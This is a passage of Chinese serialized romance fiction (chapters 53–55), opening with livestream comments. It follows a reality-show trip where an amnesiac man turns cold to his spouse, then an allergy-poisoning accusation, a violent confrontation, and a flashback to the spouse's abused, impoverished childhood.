【在直播被切断前一秒,我就看见柯祈安抱着长庭知的手腕撒娇,余赋秋还在呢,这……?】
【余赋秋不是生活导游吗,他应该起最早然后安排大家一天的行程吗?】
【楼上,那是保姆,不叫导游,余赋秋早就在前一天吧所有的行程发在群里了,他们都是婴儿吗?没有自理能力全都倚靠余赋秋?】
【能不能付费切画面啊,导演,真的不想看柯祈安这张脸了,一直围绕在长庭知身边喊‘阿知阿知’有点恶心我说实话。】
【不看可以滚啊,求你看了?】
【哟哟哟哟,跳脚了?你家哥哥可是小三哦,小三哥。】
【余赋秋出来了!!】
【嗯?怎么穿着高领毛衣?而且走路的姿势咋这么奇怪。】
【小道消息:我朋友节目组工作人员,昨天长庭知冷脸切断了所有的直播,然后把余赋秋直接抱起来,进了房间,早上这么迟才醒,你品,你细品。】
【好美味啊豹豹猫猫!我又可以了,长秋yyds!】
阳光透过蒙尘的窗户,在斑驳的木桌上投下几块模糊的光斑。
柯祈安姿态闲适地坐在桌边,面前摆着一个精致的瓷盘,里面是满满一碟新鲜欲滴、已经剥好去核的车厘子,颗颗饱满,色泽诱人。
他正用银叉优雅地叉起一颗,送入口中,眉眼舒展,带着显而易见的愉悦。
而坐在他旁边的,是长庭知。
他就坐在柯祈安身侧的位置。
晨光勾勒出他冷峻的侧脸线条,他并没有看柯祈安,目光似乎落在窗外,但刚才那碟精心处理好的车厘子是谁的手笔,不言而喻。
而其他的几位嘉宾,也已经在楼下等候了,其中的施铜脸上充斥着不耐。
余赋秋扶着栏杆,姿势怪异地一步一步往下走,面色却比前几天红润了不少,穿着白色的高领毛衣,阳光落在他的身上,为他镀上了一层柔和的光芒。
柯祈安看到他,停下咀嚼的动作,微微歪了歪头,露出一个温和无害的笑容,“哎呀,余老师,你终于下来了,大家都等你好一会儿了呢。”
施铜闻言,抬头冷冷地看了一眼余赋秋,语气不耐:“九点了,余导,安排我们今天的行程是你的职责,你却让我们在这里等候,这是你的失责。”
“更何况,我们都还没有吃早餐,你是不是该履行你‘生活导游’的职责?”
余赋秋蹙了蹙眉头,拿出手机,打开群聊:“我昨天下了飞机的时候,就把行程放在群里了,今早是自由时间,我想大家第一天都很累,没有安排活动,你们没看吗?”
现场陷入一片诡异的安静。
田欣在今天早上忽然接到了紧急的通知,先行一步飞了回去,等待下一期的录制,只是余赋秋刚醒来,所以并不知情。
莫厦的脸色变了变,先前他们的手机被都柯祈安收了回去,等到手的时候,哪有什么消息,群聊只有导演组发的消息,根本没有余赋秋发的安排。
不过余赋秋手机上面的消息确实真真切切的存在着。
只能说……
是柯祈安动了他们的手机。
莫厦还没有说法,柯祈安却红着眼眶,吸了吸鼻子,“余老师,你为什么要说谎啊。”
他拿出自己的手机,上面根本没有余赋秋发的消息,“我们这里都没有收到啊,你自己起来了,我们全都在等你,小铜前面还想上去叫你,但我想着让你多睡一会儿,余老师太辛苦了,可是……”
“你一下来,不仅没有道歉,反而还质问我们!”施铜站起身,音量大了些,“余导演,这就是你为我们安排好一天的开头吗。”
“因为你的拖延,小安原本安排后面的行程全都被打乱了,他可是辛苦熬了很久,非常期待这次的旅程,都因为你!”
气氛紧绷得像拉满得弓弦。
他下意识地再次翻出了手机,想要证明:“我发了,我真的发了,就在那个群里……”
柯祈安适时地开口,声音带着哽咽,“我们真的没有收到任何的消息,余老师,你这么恨我吗?”
“我真的很喜欢这个节目,你为什么要这样对我……”
每一句指责都像是鞭子抽在余赋秋的身上,他百口莫辩,证据又被悄无声息地抹去,他记得长庭知作为飞行嘉宾,也会在那个群里的,如果,如果……
他猛地转向一直沉默坐在那里的长庭知。
他的嘴唇动了动,漂亮的眼眸望着长庭知。
长庭知只是淡淡地看了他一眼,很快将目光从他的身上一开,落在了身旁渲染欲泣的柯祈安身上,他伸出手,轻轻地拍了拍柯祈安的肩膀,低声说了什么,但那双眼神里的温柔却是无法装出来的。
等柯祈安止住了哭泣,长庭知才慢慢转过身来,他的声音平静,清晰地回荡在寂静的餐厅里:“道歉。”
不是为了他的辩解,也不是要听他的解释。
“……什么?”
余赋秋一愣。
他现在没有办法把眼前这个男人和昨晚那个亲昵埋在他的脑袋间,喊他宝宝的长庭知联系起来。
只是因为柯祈安哭了……
所以要让他道歉?
“因为你的问题,浪费大家很多的时间,而且,小安的脸上的伤也是因为你的疏忽而留下的。”
“早上做早餐发行程,本该是你的行程,你却还在这里为自己辩解。”
长庭知语气冷淡,他的目光扫过桌上空荡荡的碟,以及柯祈安面前的车厘子,最终落回余赋秋惨白的脸上,“去做早餐,小安胃不好。”
“然后给小安赔个罪。”
“别让他等着饿。”
顷刻间,所有的辩解,所有的委屈,所有的期待,都在长庭知的话语下,碎成了粉末。
虽然知道这是小说里面的主角攻受天生具有吸引力,可真的看着自己的爱人在面前,把其他人护在身后,对他横眉指对的时候,余赋秋的心脏还是忍不住抽抽的疼痛。
他极其缓慢地低下了头,死死地咬住下唇,直到尝到了血腥味,才勉强抑制喉咙里翻涌的哽咽。
“……对不起。”
“我,这就去准备。”
他慢慢地转身,一瘸一拐地去那个厨房。
身后,隐约传来柯祈安带着鼻音的、善解人意的声音:“阿知,你别这样……余老师他可能真的不舒服……算了吧……”
长庭知冷淡的回应:“做错事,就该承担。”
余赋秋靠在冰冷的灶台上,身体无法控制地颤抖起来,滚烫的泪水终于决堤,他却死死捂着嘴,不敢发出一丝丝的声音。
他早就应该做好准备了不是吗?
这是他选择的路,他要做的就是要等待长庭知的回来,至少,要一直陪在他的身边。
……
这一天过的很快,节目组宣布晚上的特地奖励是出去野营,还有篝火。
他们都在欢呼,唯独余赋秋坐在车子的最后面,看着大家簇拥着柯祈安。
完美的出身,出众的外貌,甚至会一口流利的外语,是小太阳般的存在。
今天去讲解很多历史文物的时候,柯祈安滔滔不绝的模样,很吸引人。
甚至在经过大本钟的时候,有人好奇他们是在录制什么节目,余赋秋没有学习过系统的英语,只能磕磕巴巴地去回答别人的话,这个时候,柯祈安来到他的身边,他脸上那种自信的笑容,一口流利的英语,甚至把路人都逗弄的哈哈大笑。
很多基本的历史问题,余赋秋也答不上来。
他没有上过学。
只上到小学三四年级,就被父母送入了精神病院。
他从来不知道,原来外面的世界是这么漂亮,是这么宏大。
柯祈安作为主角受,是这么的出众。
余赋秋没有说话,只是默默跟在队伍的末尾。
他一路上都在偷窥陪在柯祈安身边的长庭知。
在柯祈安给大家讲解历史的时候,他就站在一边,神情平静,但那双眼睛却从未离开柯祈安。
他的眼神里都是柯祈安。
这个认知让余赋秋差点崩溃。
他无数次的想要去和长庭知说话,去问问他这段时间过的好不好,吃的好吗,睡得好吗,工作不要那么辛苦,能不能抽点时间来看看他,和他说说话……
可是当他看到柯祈安撒娇拉着长庭知的手臂,仰头求夸奖,长庭知垂眸,无奈地笑笑,在柯祈安的脸上轻轻点了一下,嘴角扬起一抹笑的亲昵。
余赋秋停止了自己的脚步。
……
篝火在夜色中跳跃,橘红色的光映照围坐一圈的众人脸上,经过一天的奔波,难得的休闲时光让气氛稍微缓和了些。
节目组为了刺激,特地安排在一个很偏僻,周围荒无人烟的露营地,在不远处还有山崖。
他们玩的游戏是经典的真心话大冒险,酒瓶转动,瓶口几次对准不同的人,引发一阵阵或尴尬哄笑的小高潮。
直到,瓶口缓缓停下,对准了柯祈安。
提问的是团队里的莫厦,他眼睛一亮,带着促狭的笑意问:“安安,真心话哦——你现在,有没有喜欢的人?”
这个问题像投入平静水面的石子,瞬间吸引了所有人的注意力。镜头、目光,全都聚焦在柯祈安脸上。
柯祈安似乎没料到会抽到这个问题,脸上立刻飞起两团薄红。
他微微低下头,手指无意识地拨弄着地上的草叶,长长的睫毛垂下来,在火光映照下投下一小片阴影,显得格外羞涩。他没有立刻回答,只是那含羞带怯的目光飞快地掠过了坐在他身边,神色在火光中显得有些模糊的长庭知。
这一眼,让周围的人都开始起哄了。
柯祈安被大家闹得脸红了,抬起水润的双眸,嗔怪地看了起哄的人一眼,“有。”
“他……终归会回到我的身边。”
柯祈安腼腆地笑了笑。
这句话让在场的氛围更加热烈了起来,几乎等于公开的宣告。
余赋秋坐在人群边缘的阴影里,手里拿着一瓶水,指尖冰凉。他看着柯祈安娇羞的模样,看着众人暧昧起哄的视线在柯祈安和长庭知之间来回逡巡,看着长庭知沉默却并未否认的姿态……
他低下头,盯着自己脚下被火光拉长的、孤零零的影子。
游戏继续。
酒瓶再次转动。
这一次,瓶口指向了施铜,他选择了大冒险。
抽到的冒险卡牌被展示出来,上面写着:【请指定现场任意两个号码(1-10,对应在场人员),完成‘深情对视十秒并隔空亲吻’挑战。】
施铜吹了声口哨,目光在众人脸上扫过,最后定格在柯祈安和长庭知身上,脸上露出看好戏的笑容:“那就……2号和3号吧!正好,2号安安,3号长总,刚才不是还有‘喜欢的人’没说完嘛,给大家助助兴!”
“2号”柯祈安,“3号”长庭知。
这个选择瞬间将气氛推向最高潮。
欢呼声、口哨声、鼓掌声响成一片。
“亲一个!亲一个!”
“隔空吻也行!但要深情!”
“长总,上啊!”
柯祈安的脸红得像要滴血,他“哎呀”一声,用手捂住脸,却又从指缝里偷偷看向长庭知。
眼神里充满了羞涩的期待,扫过处在角落里的余赋秋的时候,嘴角却缓缓上扬。
长庭知在众人的起哄声中,终于动了动。
火光跳跃着,映亮他棱角分明的侧脸,那双深邃的眼眸看向柯祈安,里面似乎有某种幽暗的光在流动。
他没有笑,但也没有拒绝,只是那样看着柯祈安,仿佛在等待,又仿佛在默许。
在所有人的注视和怂恿下,柯祈安慢慢放下了捂着脸的手,眼中水光潋滟,他微微仰起脸,朝着长庭知的方向,缓缓闭上了眼睛。
长而卷翘的睫毛像蝶翼般轻颤,嘴唇微微嘟起一个诱人的弧度,等待着那个的亲吻。
长庭知看着他,喉结几不可察地滚动了一下。
他微微向前倾身,两人的距离在火光中渐渐拉近,空气里弥漫着紧张而暧昧的气息,所有人的呼吸仿佛都屏住了,等待着那一刻——
余赋秋再也忍不住,站了起来。
篝火的光只能照亮他半边身子,另外半边隐在黑暗里,让他整个人看起来像一道单薄而摇摇欲坠的剪影。
他的脸色在火光映照下,是一种近乎透明的惨白,嘴唇抿得死紧,身体微微颤抖着。
他没有看任何人,尤其是没有看向那对即将亲吻的人。
他只是低着头,视线落在自己紧紧攥着酒瓶、指节泛白的手上,脑袋晕晕乎乎的,好想逃离……
他没有再去看那边热切的氛围,而是头也不回地离开了这里。
柯祈安期待着,他闭上眼睛,甚至可以感受到那灼热喷洒在他脸上呼吸的时候,心中的雀跃鼓动了起来。
他才是长庭知命中注定的爱人。
是他的终归是他的。
马上要回归正轨了——
“抱歉。”
一声冷淡的声音打断了此刻的旖旎。
柯祈安不可置信地睁开眼,看着已经抽身的长庭知,先前还带着温柔绵绵情意那双眼,此刻仿佛成了一片深不见底的幽暗,连篝火的光都照不进去。
“我酒喝的有点多,先去吹风,你们好好玩。”
“阿知——”
柯祈安想要拉住长庭知的衣角,但只能抓住一片纷飞的衣角。
长庭知甚至没有给柯祈安一个眼神,冷淡地拂开他的手。
头也不回地离开了。
火光将他的身影拉的格外长,直至引入阴影消失不见。
“安安,没事没事,本来就是游戏,再玩其他的。”
“就是就是,长哥可能就是喝多了,等等就回来了……”
周围安慰的声音不绝于耳,柯祈安扬起一抹笑,摇了摇头:“没事的。”
但那双眼神却死死地凝视着长庭知走去的方向。
他狠狠咬着口腔的软肉,血腥味弥漫开来,指尖深深掐入掌心中。
余赋秋,你怎么敢!
长庭知都失去了记忆,成为小说中爱我的人格,你怎么还这么阴魂不散呢?!
你去死吧。
只要你死了,他就会彻彻底底属于我了。
第54章 第54章[VIP]
余赋秋低垂着眼眸, 掏出手中的那枚银色戒指,放在昏暗的灯光下看了又看,他套在自己的无名指上, 整整大了一圈, 在戒指的最里面刻着他和长庭知名字的缩写。
这枚是长庭知亲自设计和打磨的戒指,在这一刻,却尽然成了笑话。
门被轻轻敲了几下, 余赋秋全身心沉浸在自己的世界之中,根本没听到门外的敲门声。
就在下一秒。
“砰——”
门被粗暴的打开了,余赋秋如同受惊的小鹿一般, 抬起湿漉漉的眼眸, 惊慌地看着被猛然推开的门。
他们住的营地很偏僻,只有几座小木屋, 门被这么大力的推开, 还在不停地摇晃着。
“……庭知?”
余赋秋呼吸一窒。
门外是浓重化不开的黑暗,只有营地中央遥远的篝火余烬,透过来一丝微弱到几乎不存在的光线。
而长庭知背对着仅有的光,他的脸色在昏暗的光线下晦暗不明,唯有那双眼睛, 凝视着余赋秋。
余赋秋的声音带着颤抖的气音, 随着长庭知一步一步的步伐, 他下意识地往后退,直到退到了床头,在没有退路。
他想要把手藏在身后, 但已经晚了。
长庭知的视线, 顺着银光,看到了他套在无名指上的那枚戒指——
“那是什么。”他哑声问, 目光紧紧凝视着余赋秋。
“没,没什么,你,你玩好了?出来太久,他们会担心哦……”余赋秋试图转移话题,他直到小说中主角攻是最厌恶那些软弱的过去和回忆。
“我,我好了很多,我现在立刻过去,是不是我打扰到你们了?”余赋秋不愿意去回想长庭知和柯祈安亲吻的那个瞬间。
他很想问,你真的亲吻了他吗?你真的……
什么也不记得了吗?
“拿出来。”
长庭知慢慢地靠近他,长腿抵在床的边缘,肩膀遮蔽了小屋所有的光源,让余赋秋的视线只能看见他。
他不由分手,一把抓住余赋秋纤细的手腕,几乎要捏碎余赋秋的骨头。
“疼……”
余赋秋疼的出了眼泪,长而卷翘的睫毛被打湿,他咬着唇,连声音都带着软软的腔调。
带着岁月痕迹的银色戒指,被套在余赋秋的无名指上。
这枚戒指。
对,他要找的就是这枚戒指。
不知道什么时候起来,他总是下意识的去摸无名指上的圈戒,但摸了很久,上面都是空的,他的手上有一圈很明显的痕迹,但是戒指呢?
长庭知不知道。
别人都在惊叹他从摩天轮上摔下来,还可以复苏的奇迹。
他不知道自己叫什么,不知道为什么自己会出现在这里。
只知道醒来的时候,柯祈安就陪在他的身边,他感受着自己静如死水的心脏,在这一刻有了微妙的跳动。
所有的人都告诉他,他的妻子是叫余赋秋,他非常非常爱他。
可是看着余赋秋那张照片,他却感知不到任何的情绪。
他想不通自己怎么会找这个人作为妻子?
长相是很出众,可是家世身份都配不上他,给他没有办法带来任何利益,他怎么会抛弃柯祈安这样出众的身份不选,而选择一个普通人?
而且柯祈安也对他说,他们的感情很好,他本来就是要决定和余赋秋离婚的,是他先遇到他的,余赋秋只是个小偷,偷走了本该属于他们的生活。
看着柯祈安哭泣的脸,长庭知只觉得心脏发出抽抽的隐痛,他伸出手,为柯祈安擦拭去眼角的泪水。
这一刻,他相信了柯祈安的话。
可是,可是,为什么!
长庭知的呼吸骤然沉重起来,下巴抬起余赋秋那张哭泣的脸蛋,大颗大颗的泪水从他通红的眼尾滑落,衬得小巧的鼻尖越发红得可怜,嘴唇上还留着他昨日留下的细小齿痕,湿润红肿,像是颤抖脆弱的蝴蝶。
可是为什么,在助理给他看了余赋秋和沈昭铭这么亲密的照片,他窝在沈昭铭的怀里,只要一抬头,就可以和沈昭铭吻上。
怒火从脚底蔓延到天灵盖,长庭知本以为自己可以遏制住这股莫名其妙的怒火,因为他还有更重要的会议要去做,而不是浪费时间在这里生气。
但是他看着那一页页的字,却怎么也看不进去。
大脑还没有反映过来,他已经下意识地命令助理开启了私人航线,去往Y国。
他的脑子只有一个想法。
他要抓住余赋秋。
他要听他的解释。
私人航线所带来的花费、申请、甚至会对他造成什么样子的影响,在那一刻,都被他抛弃了脑后。
为什么这个人的眼泪,这个人的恐惧,这个人偷偷藏着他们过去信物的样子,会让他如此愤怒,如此……心神不宁?
他甚至抛下了篝火旁边的柯祈安,像个疯子一样追到了这里。
他讨厌这种失控,这种主导权若即若离,无时不刻在啃咬着他的神经,去撕扯他的理智!
如果没有办法控制,那么毁灭吧。
“呵……”
长庭知发出一声短促而冰冷的嗤笑,他猛地反剪余赋秋的双手,将他狠狠地压在床头上,银戒滚落在地,发出轻微的叮当声。
两个人身体紧密相贴,过量的酒精侵蚀了长庭知的大脑,灼热的热气喷洒在余赋秋的脸上,他低下头,眼睛猩红,近乎狰狞地看着余赋秋。
“你到底是谁?!”
“你对我到底做了什么?”
“为什么……为什么你总是阴魂不散?!”
“为什么你的眼泪,你的样子,你藏着的这些东西……”
每一个字似乎都是从字缝里挤出来的,每说一句,扣在余赋秋的手腕的力度就更大一分,仿佛要将那单薄的骨骼给捏碎。
“为什么,你总是能影响我的判断,占据我的大脑?!”
站在柯祈安的身边,他的眼神却总是瞥向队伍最后的余赋秋,甚至早上,余赋秋落寞地去厨房里做饭的身影,都揪着他的心脏。
他的心脏在叫嚣着,让他冲上去,去拥抱那个身躯。
“你知不知道,我很厌恶这样的自己!”
最后一句,长庭知几乎是低吼出来的。
他厌恶这样无法掌控的自己,所以他不去看余赋秋,甚至厌恶余赋秋。
可是心脏好痛,好疼。
全身都好痛。
余赋秋仰着头,被他压制着,承受着他的怒火和令人窒息的重量,他呼吸艰难,看着那张属于爱人的脸庞,他却哽咽住了喉头。
这是……什么意思?
长庭知说他占据了他全部的心神,影响了他的判断。
哪怕是以这种方式?
这个认知,比起任何□□上的疼痛和言语上的侮辱,都让余赋秋感到一种万箭穿心般的悲哀。
他张了张口,发不出完整的声音,只有泪水无声地流淌,浸湿了散乱的黑发和身下粗糙的床单。
长庭知是主角攻。
他被作者设定出来,就是天生要来爱主角受的。
长庭知恨极了余赋秋这副哭泣的模样,恨极了他总是能轻易牵动自己最隐秘的情绪。
他猛地低下头,带着一种惩罚和发泄般的狠栗,重重地吻了下去——
不一样。
和即将亲吻柯祈安那时候的心情完全不一样。
在玩真心话大冒险的时候,他看着柯祈安仰起头,紧张不安地闭上双眼,期待他亲吻那刻——
他没由来的从心底衍生出一股厌恶。
可他的身体却不受他的控制,慢慢地走向了柯祈安,大脑中有一道声音一直在说‘这才是对的’
‘剧情就应该回归正规’
‘你们在一起才是正确的’
越走进柯祈安,那种感觉就越强烈。
在即将碰上柯祈安的一瞬间,他咬破了舌尖,铁锈味弥漫开来。
但他只是抬起眼,淡淡扫了一眼柯祈安充斥期待的脸。
不一样。
和他亲吻余赋秋的时候不一样。
他没有那股冲动。
长庭知面无表情地看着余赋秋。
他张口,带着本能的撕咬,遵循最深处的原始——
吃掉他。
吃掉他吃掉他吃掉他吃掉他吃掉他吃掉他吃掉他吃掉他吃掉他吃掉他吃掉他吃掉他吃掉他吃掉他吃掉他吃掉他吃掉他吃掉他。
将他吞吃入腹。
如果他控制不了自己的心绪,那么就把源头解决了。
余赋秋在他身下微弱地挣扎着,发出破碎的呜咽,泪水混合着被咬破唇瓣而弥漫的血腥味,咸涩一片。
……
“砰砰砰——!”
门再次被止不住地拍起。
“长哥!长哥!”门外传来施铜惊恐万状、带着哭腔的嘶喊:“不好了!出事了!快开门!”
那声音尖锐,瞬间穿透了长庭知被怒火和混乱情绪蒙蔽的感官,他压在余赋秋上的身体骤然一顿,被酒精麻木的理智渐渐回神。
身下的余赋秋也停滞了细微的挣扎,泪眼朦胧种透出茫然和不安。
“长哥!小安,小安他——”
门外的人喘息着,声音的音量变得尖锐:“他吃了余老师准备的晚餐,突然呼吸困难,倒在地上抽出,脸色发紫……”
“怕是过敏性休克了,长哥!”
“小安需要你,我们快去叫医生,他要你陪在身边,要出人命了!”
作者有话说:
第55章 第55章[VIP]
时间仿佛在这一刻凝固起来, 长庭知覆在余赋秋上面的神情一顿,他缓慢地眨了眨眼,看着被自己压在身下, 满目泪痕, 被他咬出鲜血的余赋秋。
“你没有什么要解释的吗。”
长庭知喑哑低沉的声音从寂静的空间种拖出来。
余赋秋不可置信地瞪大了双眼,他问:“你觉得是我?”
“他只吃了你给的食物。”
施铜的声音在门外不断呼喊,本来木门就承受不了更多的重量, 已经变得摇摇欲坠了。
“我一直在他的身边,他今天没有吃多少东西,而队伍中的伙食都是你安排的。”
长庭知的手再次用力的握紧, 声音冷然。
他的神色沉沉, 瞳孔里倒映出余赋秋呆滞到空白的神情。
这确实是无可辩驳的事实。
因为队伍的吃食确实都是他一手准备的。
就在这时候——
“砰——!”
摇摇欲坠发出不堪称重的木门,终于承受不住外面持续的撞击和拉扯, 轰然被推开, 灰尘弥漫。
施铜猛然闯入房内,看到被压制在一边的余赋秋。
他几乎是不假思索,双目赤红,“余赋!”
他一个箭步上前,根本不给余赋秋任何反应的机会, 猛地伸出手, 狠狠地拽住了余赋秋散落在肩头凌乱的长发。
“呜——”
头皮传来剧烈的疼痛, 余赋秋哽咽一声,整个人被他粗暴地从床上拽了下来,踉跄着摔倒在冰冷粗糙的地面上。
施铜居高临下, 他扬起手——
“啪——!”
一记响亮的耳光, 打在了余赋秋毫无血色的脸颊上。
余赋秋的半边脸瞬间麻木,火辣辣地肿痛起来, 嘴角似乎尝到了腥甜的铁锈味。
“你好恶毒。”施铜拽着他的长发,迫使余赋秋仰起那张红肿、布满指印和泪痕的脸,“你为什么要害小安?!他哪里对不起你了,啊?!”
“就因为长哥对他好一点,你就怀恨在心是不是?你分明知道他花生过敏,为什么还要在他那份食物里面加花生酱!”
“过敏性休克是会死人的,你不知道吗?!”
他疯狂摇晃着余赋秋,仿佛要将他的灵魂都摇散,“那是条生命啊!”
余赋秋头皮传来剧烈的疼痛,他视线模糊,耳朵充斥着施铜的嘶吼和远处隐约传来的鸣笛。
不,他没有加。
国外的花生酱很贵,而且他去逛超市的时候都不认识那些字母,他怎么会乱买东西?他身上的预算根本不够,他只能尽力地一个个打字去翻译,看到便宜的才敢下手。
他明明给每个人发过过敏的事项,可是柯祈安根本没有写他过花生酱过敏,所以余赋秋一直是清水煮菜,他根本不敢乱加任何的调料。
他检查过食材,怎么可能……
他想要出声,他下意识地去看长庭知,在对上他眼神的一瞬间,他的喉咙像是被堵住了,发不出任何的声音,只有眼泪和嘴角的血混在一起,狼狈地流淌下来。
而在着窒息的氛围,长庭知就站在那里。
他冷冷地看着余赋秋,对施铜的行动没有一丝阻碍,甚至是默许的状态。
直到施铜嘶吼着说出那句话的时候,长庭知才慢慢动了起来。
他的嘴唇抿成一条冰冷的直线,声音不高,却像是猝了毒的冰锥:“余赋秋。”
他喊他的名字。
余赋秋感到自己的心脏似乎停滞了下来。
他很爱长庭知喊他的名字,他窝在长庭知的怀里,长庭知抱着他的腰,他仰头索吻的时候,长庭知会亲吻着他,从他们相交的齿间喊出他的名字。
他生长春春难产的时候,长庭知哭着趴在病床边,握着他的手,流着泪撕心裂肺地喊他的名字。
在他们官宣,全网瘫痪,无数的嘲讽铺天盖地朝他席卷而来的时候,长庭知只是简短地发了个视频,视频中的他紧握着余赋秋的手,挡在余赋秋的面前,他们十指交缠,坚定地面对镜头,他听见长庭知说:“余赋秋,是我的爱人。”
——余赋秋。
——球球。
——老婆。
——宝贝。
——宝宝。
所有的一切都在此刻化作了灰烬,抵不住长庭知那声冰冷的声音。
他说。
“你不应该这样。”
“那毕竟,也是条生命。”
“如果他真的出了什么事情,不仅仅是我、还有柯家,都不会放过你。”
长庭知在走出这扇门,冷淡地扫了一眼蜷缩在地上的余赋秋。
“施铜,带我去找小安,现在最重要的是陪在他的身边。”
……
你不该这样。
那毕竟,也是条生命。
他出了什么事情,我不会放过你。
与赋秋停止了所有的挣扎,也停止了流泪。
他就那样瘫在冰冷的地板上,头发凌乱,脸颊红肿,嘴角渗血,目光直直的、空洞地望着他们离开的方向。
他忽然、极其轻微地、扯了一下嘴角,像是一个破碎到无法成型的笑容,又像是一声无声的叹息。
……
黑暗中,似乎有烧焦的味道在弥漫开来。
余赋秋却没有了任何的力气,他迷茫费力地半瞌着眼。
啊,好黑啊。
世界上又剩下他一个人了?
忽然,前面似乎有一道火。
他伸手想要去触碰。
可是他没有了力气。
鼻尖似乎闻到了火的味道。
他神色恍惚。
他想起了那一年,被拐卖到山中的妈妈被家里人接回去的画面。
……
那一年,他七岁。
妈妈的家人找到了警察,找到了这座被深埋藏于大山之中的村落。
那时候的余赋秋才知道,他的妈妈是被拐卖来的,而他是被强、奸生下的产物。
他的奶奶把他推到了警察的面前,“如果不把他带走,我们家就打死他!反正也是养不熟的白眼狼!”
无数的记者媒体,将镜头怼到他的脸上。
余赋秋不知道那是什么。
可是他觉得好可怕,真的好可怕。
他紧抓着妈妈的衣角,渴求妈妈把自己抱在怀里,揽在身后,去怼开这些令人害怕,会吃人的怪物。
平常精神状态好,会对他一点点温柔的妈妈,此刻却把他推开来,妈妈情绪失控,面容扭曲,歇斯底里地踢着他:“让他滚!”
“我不要他!”
“他毁了我这么多年的人生,还要继续来祸害我吗?!”
“被打死就被打死好了!”
“你去死吧,求求你了……”
余赋秋一把被推在地上,他的衣服被地上的碎石头开出了一个大口子,磨出了细微的红血丝,但他很快地站了起来,局促不安地抓着自己的衣服,想要把那个口子给掩盖下去。
奶奶昨晚和他说,要他第二天穿最好看的衣服,不能出糗。
他奶奶问他,想要跟在妈妈的身边吗?
小小的余赋秋几乎是毫不犹豫地答道:“想要!”
妈妈不会和爸爸那样打他,虽然妈妈会打他,但是打的比爸爸轻多了,而且妈妈还会打他之后,在意识清醒之后,会温柔地给他吹吹青紫的伤口,告诉他下回要记得避让,不要那么老实的呆在原地被人打。
余赋秋问:“即使是爸爸妈妈吗?”
妈妈愣了一下,只是轻轻地抚摸了他的头,然后从枕头底下摸出一个已经变的硬邦邦的红薯。
余赋秋把那个红薯紧紧地抱在怀里,舍不得吃,看着妈妈的眉眼,轻轻地点了点头。
余赋秋摸了摸口袋里的红薯,他小心翼翼地看着被围绕在人群中的妈妈,想要靠近妈妈。
他低垂着头,看着妈妈破旧的鞋尖,在妈妈破旧的鞋尖旁边有一双白净的球鞋。
这个球鞋是余赋秋只有在杂志上看的,余赋秋很喜欢,但是他数了数价格,后面很多很多的零。
他买不起。
他既便日夜去捡废品,可能捡个十年都买不起这个鞋子。
余赋秋眼巴巴的看着那双球鞋。
他不敢凑近人群。
“妈妈——!”
黑色的轿车开了起来,余赋秋尖叫着,从后面跑了上去,他伸出手想要去抓住轿车的尾巴。
奶奶拎着他的衣袖,一把将他扔进了还未关上的后车座。
车子的尾气发动了,坐在前面的漂亮男孩冷冷地看了一眼窝在后车座的余赋秋。
他冷声道:“你这个□□犯的孩子,如果不是为了妈妈,我早就给你扔下去了。”
这就是默许了他可以上车?
余赋秋蜷缩着身子,把鞋子脱了下来,上面有泥水,这个车很漂亮,后车座很干净,他不能污染了这个车,不然妈妈会不高兴,会把他赶下车的。
可是余赋秋没有做过这个车子,他出村都是做的牛车。
胃里翻滚着,他脑袋很晕。
余赋秋紧紧捂着嘴,想要咽下嘴里翻涌的东西。
翻过了颠簸的山路,余赋秋的脑袋昏昏沉沉,小小的身子蜷缩起来,呼吸急促。
不可以吐。
不可以。
会弄脏妈妈的车。
他没有钱赔。
“喂,小畜生,别死在这里!”
余赋秋被疼痛惊醒,他被拉着头发扯下了后车厢,狠狠地扔在了地上。
余赋秋第一时间是摸了摸身上的红薯,长舒了口气。
他这才抬起眼,看着面前的男孩。
好白,好干净。
从警察和妈妈家人的语气来看,眼前这个男孩是他的哥哥,大他七岁的哥哥。
“妈咪。”
男孩转过身,抱着妈妈的手,亲昵地撒娇。
余赋秋却是下意识地缩了起来,他以前也和妈妈这样撒过娇,但妈妈厌恶地看着他,拎着他的衣袖,一把将他重重地扔在了门框上。
“小宝。”
妈妈红着眼眶,温柔地摸了摸男孩的头。
他应该叫舅舅的男人走了过来,紧紧抱着妈妈和男孩,他转头冷冷地看了一眼满脸鼻血,破了个大口子的余赋秋。
“别以为你跟着我们,就能进我们家门。”
“我们家不可能留一个□□犯的孩子。”
余赋秋呆呆地看着他们他们远去的背影。
这里的天气寒冷,但是比山村的冬天好受了很多,余赋秋在山村是没有自己的家,他是和大黄住在一个窝里面,大黄虽然会和他抢食物,但是大黄浑身都是毛,很暖和,余赋秋会贴在大黄的身上熬过这个冬天。
天色渐渐黑了。
余赋秋试图打开门,但是门被反锁了。
他偷偷地从窗户里面,透过朦胧的雾气,可以依稀地看到妈妈坐在桌子的前面。
上面摆满了好多好多的美食。
都是余赋秋从电视上、杂志上才能看到的。
他摸了摸咕咕叫的肚子。
舅舅不停地给妈妈夹菜,哥哥挽着妈妈的手,在妈妈的怀里撒娇。
温暖的灯光照耀在他们的脸上。
余赋秋忽然很羡慕。
哥哥长得很漂亮,白白净净的。
余赋秋挽起自己的衣袖,看了看上面大片大片青紫的鞭痕、烟痕,心底自卑起来。
不能让舅舅看到,不然他会把自己赶出去的。
余赋秋想。
玻璃那边很暖。
里面是开了暖气吗?
余赋秋不知道,他个子矮,只能垫着脚尖,把手放在玻璃的边缘,试图寻找一丝丝的温暖。
他饿的实在受不了了,掏出硬邦邦的红薯,放在玻璃窗上,等稍微软化了一些。
他小口小口地吃着。
但他留下了一个红薯的小根。
这是妈妈给他的第一个红薯。
他想要把这个根种下去,老师说过,根可以种出来,长成参天大树,结出很多很多的红薯。
这样,他就不用害怕挨饿了。
深夜的时候。
余赋秋蜷缩在门口,他冻得受不了了,打着喷嚏。
下午吃的红薯,已经消化完了。
余赋秋想要去周围找找有没有吃的。
在后厨的垃圾桶里面,他发现了下午他们没吃完的菜。
“好可惜。”余赋秋看着那残渣剩饭,他看了看周围,这里居然没有和他抢食物的狗诶!
是不是意味着,这些都是他的?
他可以不用再被咬了?
余赋秋美滋滋地想,伸手去掏垃圾桶的饭菜。
虽然已经看不出原本的模样了,但是余赋秋依旧狼吞虎咽地吃了起来。
很好吃。
比三丫的馒头还要好吃。
余赋秋吃着吃着,眼泪从眼尾滑落。
他吸了吸鼻子。
余赋秋,你哭什么?
妈妈有了很好的生活,你现在也有饭吃,你还哭什么?
身后传来细细簌簌的声音。
余赋秋慌张地回头,生怕是野狗抢自己的食物。
他看到了,是那个漂亮的哥哥。
